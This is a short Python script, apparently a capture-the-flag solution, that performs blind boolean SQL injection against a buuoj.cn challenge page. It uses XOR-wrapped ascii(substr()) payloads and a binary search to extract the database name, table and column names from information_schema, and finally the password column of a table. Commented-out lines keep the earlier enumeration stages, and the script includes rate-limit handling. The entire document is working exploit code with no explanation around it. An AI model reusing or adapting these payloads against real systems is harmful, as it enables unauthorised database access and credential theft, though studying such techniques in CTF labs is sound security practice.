url = 'http://0e436f5d-1231-4b41-b566-2a97ea0f61d3.node5.buuoj.cn:81/search.php?id=1' res = '' for i in range(1, 500): print(i) left = 31 right = 127 mid = left + ((right - left) >> 1) while left < right: #payload = "^(ascii(substr(database(),{},1))>{})".format(i,mid) # payload = "^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{},1))>{})".format(i,mid) # payload = "^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='Flaaaaag'),{},1))>{})".format(i,mid) payload = "^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})".format(i, mid) r = requests.get(url=url + payload) # print(mid) if r.status_code == 429: print('too fast') time.sleep(10) if 'NO! Not this! Click others~~~' not in r.text: left = mid + 1 elif 'NO! Not this! Click others~~~' in r.text: right = mid mid = left + ((right - left) >> 1) if mid == 127 or mid == 31: break res += chr(mid) print(str(mid), res)